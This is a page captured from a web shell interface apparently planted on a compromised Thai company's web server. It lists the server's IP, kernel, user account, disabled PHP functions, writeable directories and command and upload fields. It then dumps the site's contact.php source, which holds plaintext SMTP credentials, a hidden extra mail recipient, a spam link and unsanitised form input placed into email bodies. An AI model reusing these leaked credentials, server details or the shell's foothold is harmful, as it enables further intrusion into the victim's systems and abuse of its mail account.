403Webshell
Server IP : 103.233.193.20  /  Your IP : 216.73.216.169
Web Server : Apache/2
System : Linux host1.itclever.com 4.18.0-553.16.1.el8_10.x86_64 #1 SMP Thu Aug 8 17:47:08 UTC 2024 x86_64
User : oriscomadm ( 1120)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,escapeshellarg,escapeshellcmd,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  /home/oriscomadm/domains/oriscom.com/private_html/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/oriscomadm/domains/oriscom.com/private_html/contact.php
<?php
require"include/db.php";
require"include/function.php";
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="initial-scale=1.0">
<title>Contact | <?php echo $Rs['facebook']?></title>
<meta name="keywords" content="contact,<?php echo $Rs['facebook']?>" />
<meta name="description" content="<?php echo $Rs['facebook']?>" />
<link rel="stylesheet" href="css/common.css" type="text/css" charset="utf-8" />
<link rel="stylesheet" href="css/style.css" type="text/css" charset="utf-8" />
<link rel="stylesheet" href="css/iview.css" />
<link rel="stylesheet" href="css/style_slider.css" />
<link rel="stylesheet" href="css/superfish.css" media="screen">
<link rel="stylesheet" href="css/pirobox.css" />

<link rel="icon" type="image/png" sizes="16x16"  href="/favicons/favicon-16x16.png">
<meta name="msapplication-TileColor" content="#ffffff">
<meta name="theme-color" content="#ffffff">

<script src="js/jquery-latest.min.js" type="text/javascript"></script>
<script type="text/javascript" src="js/raphael-min.js"></script>
<script type="text/javascript" src="js/jquery.easing.js"></script>
<script src="js/iview.js"></script>
<script src="js/css3-mediaqueries.js"></script>
<script src="js/hoverIntent.js"></script>
<script src="js/superfish.js"></script>
<script src="js/pirobox.js"></script>
<script src="js/pirobox1.js"></script>
<script>
$(document).ready(function(){
	$('#iview2').iView({
		pauseTime: 7000,
		pauseOnHover: true,
		directionNavHoverOpacity: 0,
		timerDiameter: "50%",
		timerPadding: 0,
		timerStroke: 7,
		timerBarStroke: 0,
		timerColor: "#FFF",
		controlNav: true,
		controlNavThumbs: false,
		controlNavTooltip: false,
		controlNavHoverOpacity: 1.0,
		timerPosition: "bottom-right"
	});
	// initialise plugin
	var example = $('#example').superfish({
		//add options here if required
	});

	// buttons to demonstrate Superfish's public methods
	$('.destroy').on('click', function(){
		example.superfish('destroy');
	});

	$('.init').on('click', function(){
		example.superfish();
	});

	$('.open').on('click', function(){
		example.children('li:first').superfish('show');
	});

	$('.close').on('click', function(){
		example.children('li:first').superfish('hide');
	});
});
</script>
<script>
			$(document).ready(function(){
				
				// initialise plugin
				var example = $('#example').superfish({
					//add options here if required
				});

				// buttons to demonstrate Superfish's public methods
				$('.destroy').on('click', function(){
					example.superfish('destroy');
				});

				$('.init').on('click', function(){
					example.superfish();
				});

				$('.open').on('click', function(){
					example.children('li:first').superfish('show');
				});

				$('.close').on('click', function(){
					example.children('li:first').superfish('hide');
				});
			});
		</script>
<script>
	$(function(){
		$( "#menu" ).toggle(function() {
 			 $('ul.menulist').slideDown(500);
		}, function() {
  			$('ul.menulist').slideUp(500);
		});
		
		$('#nav > li > a').click(function(){
			if ($(this).attr('class') != 'active'){
			  $('#nav li ul').slideUp();
			  $(this).next().slideToggle();
			  $('#nav li a').removeClass('active');
			  $(this).addClass('active');
			}
	  	});
		$('ul.second > li > a').click(function(){
			if ($(this).attr('class') != 'active'){
			  $('ul.second li ul').slideUp();
			  $(this).next().slideToggle();
			  $('ul.second li a').removeClass('active');
			  $(this).addClass('active');
			}
	  	});
		$('ul.third > li > a').click(function(){
			if ($(this).attr('class') != 'active'){
			  $('ul.third li ul').slideUp();
			  $(this).next().slideToggle();
			  $('ul.third li a').removeClass('active');
			  $(this).addClass('active');
			}
	  	});
		$('ul.fourth > li > a').click(function(){
			if ($(this).attr('class') != 'active'){
			  $('ul.fourth li ul').slideUp();
			  $(this).next().slideToggle();
			  $('ul.fourth li a').removeClass('active');
			  $(this).addClass('active');
			}
	  	});
		$('ul.fifth > li > a').click(function(){
			if ($(this).attr('class') != 'active'){
			  $('ul.fifth li ul').slideUp();
			  $(this).next().slideToggle();
			  $('ul.fifth li a').removeClass('active');
			  $(this).addClass('active');
			}
	  	});
		
	});
	
</script>
<script>
$(function(){

	$().piroBox_ext({

		piro_speed:1000,

		bg_alpha:0.5,

		piro_scroll:true
	});

});
</script>
</head>

<body>
<?php require("include/header.php"); ?>

<!-- Slider --->
<div id="iview2">
<?php
$ResultSlide = $Class->selectSlide();
foreach($ResultSlide as $Slide){
	$Lv = explode(',',$Slide['level']);
	if($Lv[0]=="contact" && $Lv[1]==3)	
	echo '<a href="#1" data-iview:image="data/'.$Slide['image'].'"></a>';
}
?>
</div>
<div id="con"></div>
<div class="below_slider"></div>
<!-- End Slider -->

<div class="bg_wrapper">
    <div class="wrapper_content">
        <div class="box_content">
            <h2><label class="thh">ติดต่อเรา</label><label class="enn" style="display:none;">CONTACT US</label></h2>
            <div class="content">
            	<ul class="contact_list">
                	<li class="info_box">
                    	<div class="manage_info">
                            <div class="company_name">บริษัท ออริสคอม จำกัด</div>
                            <div><label class="thh"><?php  echo $Rs['address']?></label><label class="enn" style="display:none;"><?php echo $Rs['address_en']?></label></div>
                            <!--div><label class="thh">อีเมล์ :</label><label class="enn" style="display:none;">Email :</label> <?php echo $Rs['email']?></div>
                            <div>Facebook : <?php echo $Rs['facebook']?></div-->
                            <div class="manage_icon_contact">
                                <span class="icon_tel"><?php  echo $Rs['tel']?></span>
                                <span class="icon_fax"><?php echo $Rs['fax']?></span>
                            </div>
                            
                            <div class="zoom_map"><iframe src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3873.756228881395!2d100.630253!3d13.853666!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x0%3A0x56f2345b54af63ce!2z4Lia4Lij4Li04Lip4Lix4LiXIOC4reC4reC4o-C4tOC4quC4hOC4reC4oSDguIjguLPguIHguLHguJQ!5e0!3m2!1sth!2sth!4v1652929245259!5m2!1sth!2sth" width="481" height="300" style="border:0;" allowfullscreen="" loading="lazy" referrerpolicy="no-referrer-when-downgrade"></iframe></div>
                         </div>
                    </li>
                    <li class="map_google">
                    	<div id="mapp"></div>
                    </li>
                    <form method="post" action="">
                    <li class="form_box">
                    	<ul class="contact_form">
                        	<li>
                            	<span class="title_form">Title</span>
                                <span class="manage_field">
                                	<select name="title" id="title" class="select_field">
                                    	<option>Inquiries</option>
                                        <option>Inquiries2</option>
                                        <option>Inquiries3</option>
                                    </select>
                                </span>
                            </li>
                            <li>
                            	<span class="title_form">Company</span>
                                <span class="manage_field">
                                	<input name="company" id="company" type="text" class="input_field" />
                                </span>
                            </li>
                            <li>
                            	<span class="title_form">Name</span>
                                <span class="manage_field">
                                	<input name="name" id="name" type="text" class="input_field" />
                                </span>
                            </li>
                            <li>
                            	<span class="title_form">Address</span>
                                <span class="manage_field">
                                	<input name="address" id="address" type="text" class="textarea_field" />
                                </span>
                            </li>
                             <li>
                            	<span class="title_form">Telephone</span>
                                <span class="manage_field">
                                	<input name="tel" id="tel" type="text" class="input_field" />
                                </span>
                            </li>
                            <li>
                            	<span class="title_form">Email</span>
                                <span class="manage_field">
                                	<input name="email" id="email" type="text" class="input_field" />
                                </span>
                            </li>
                            <li>
                            	<span class="title_form">Message</span>
                                <span class="manage_field">
                                	<input name="message" id="message" type="text" class="textarea_field" />
                                </span>
                            </li>
                        </ul>
                        <div><input type="submit" id="submit" class="bt_submit" value="SEND" /></div>
                    </li>
                    </form>
                </ul>
                <!--div id="mapp2"></div-->
                <script type="text/javascript" src="http://maps.google.com/maps/api/js?sensor=false"></script><div style="overflow:hidden;height:300px;width:100%;"><div id="gmap_canvas" style="height:300px;width:100%;"></div><style>#gmap_canvas img{max-width:none!important;background:none!important}</style><a class="google-map-code" href="http://www.trivoo.net/gutscheine/deichmann/" id="get-map-data">deichmann</a></div><script type="text/javascript"> function init_map(){var myOptions = {zoom:15,center:new google.maps.LatLng(<?php echo $Rs['lat']?>,<?php echo $Rs['lng']?>),mapTypeId: google.maps.MapTypeId.ROADMAP};map = new google.maps.Map(document.getElementById("gmap_canvas"), myOptions);marker = new google.maps.Marker({map: map,position: new google.maps.LatLng(<?php echo $Rs['lat']?>, <?php  echo $Rs['lng']?>)});infowindow = new google.maps.InfoWindow({content:"<b>The Breslin</b><br/>Ramintra<br/> bangkok" });google.maps.event.addListener(marker, "click", function(){infowindow.open(map,marker);});}google.maps.event.addDomListener(window, 'load', init_map);</script>
            </div>
        </div>
    </div>
</div>


<div class="clear" style="border-bottom:1px solid #ddd; padding-bottom:20px;"></div>
<?php require("include/footer.php");?>
</body>
<script>
function initialize()
{
	GGM = new Object(google.maps)
	my = new GGM.LatLng(<?php echo $Rs['lat']?>,<?php echo $Rs['lng']?>)
	obj = $('#mapp')[0]
	Options = {zoom:15,center:my,mapTypeId:GGM.MapTypeId.ROADMAP}
	map = new GGM.Map(obj,Options)
	marker = new GGM.Marker({position:my,map:map,icon:'images/marker.png'});
	
	
	GGM2 = new Object(google.maps)
	my2 = new GGM2.LatLng(<?php echo $Rs['lat']?>,<?php echo $Rs['lng']?>)
	obj2 = $('#mapp2')[0]
	Options2 = {zoom:15,center:my2,mapTypeId:GGM2.MapTypeId.ROADMAP}
	map2 = new GGM2.Map(obj2,Options2)
	marker2 = new GGM2.Marker({position:my2,map:map2,icon:'images/marker.png'});
}


$(function(){
	$('<script/>',{
		src:'http://maps.google.com/maps/api/js?v=3.2&sensor=false&language=th&callback=initialize'
	}).appendTo('body')
});


$("#submit").click(function(){
	var emailFilter=/^.+@.+\..{2,3}$/;
	var str=$('#email').val();
	
	if($("#name").val()==''){
		alert("Please input fill name");$("#name").focus();
		return false;
	}else if($("#email").val()==''){
		alert("Please input fill email");$("#email").focus();
		return false;
	}else if(!(emailFilter.test(str))){
		alert('Invalid email'); $('#email').focus();
		return false;
	}else if($("#tel").val()==''){
		alert("Please input fill Tel");$("#tel").focus();
		return false;
	}else if($("#address").val()==''){
		alert("Please input fill address");$("#address").focus();
		return false;
	}else if($("#company").val()==''){
		alert("Please input fill Company");$("#company").focus();
		return false;
	}else if($("#message").val()==''){
		alert("Please input fill Message");$("#message").focus();
		return false;
	}
})
</script>

</html>

<?php
if($_POST[name])
{
	$name = $_POST[name];
	$address = $_POST[address];
	$company = $_POST[company];
	$tel = $_POST[tel];
	$title = $_POST[title];
	$email = $_POST[email];
	$message = $_POST[message];
	require_once("include/class.phpmailer.php");
	$mail = new PHPMailer();
	$mail->isSMTP();
	$mail->CharSet='utf8';
	$mail->Host='mail.yesicans.com';
	$mail->Port=25;
	$mail->Username='atime@yesicans.com';
	$mail->Password='atime';
	$mail->SMTPAuth=true;
	$mail->isHTML(true);
	$mail->Subject="Contact From ORISCOM";
	$mail->From="ORISCOM WEBSITE";
	$mail->FromName=$name;
	$mail->Body="หัวข้อเรื่อง $title <br><br>
	คุณ $name จาก $company ได้ทำการติดต่อเข้ามาผ่านหน้าเว็บไซต์ของท่าน โดยฝากข้อความไว้ดังนี้ <br><br>
	$message
	<br><br>
	เบอร์โทรศัพท์ : $tel<br>
	อีเมล์ : $email
	";
	$mail->AddAddress($Rs['email'],"st_satancross@hotmail.com");
	$mail->Send();
	if($mail->Send()){?><script>alert('ทำการติดต่อกับทางบริษัทเรียบร้อยแล้วครับ'); window.location='index.php'</script><?php }
	else{ ?><script>alert('เกิดข้อผิดพลาดไม่สามารถส่งข้อมูลได้ในขณะนี้'); window.history.back();</script><?php }
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit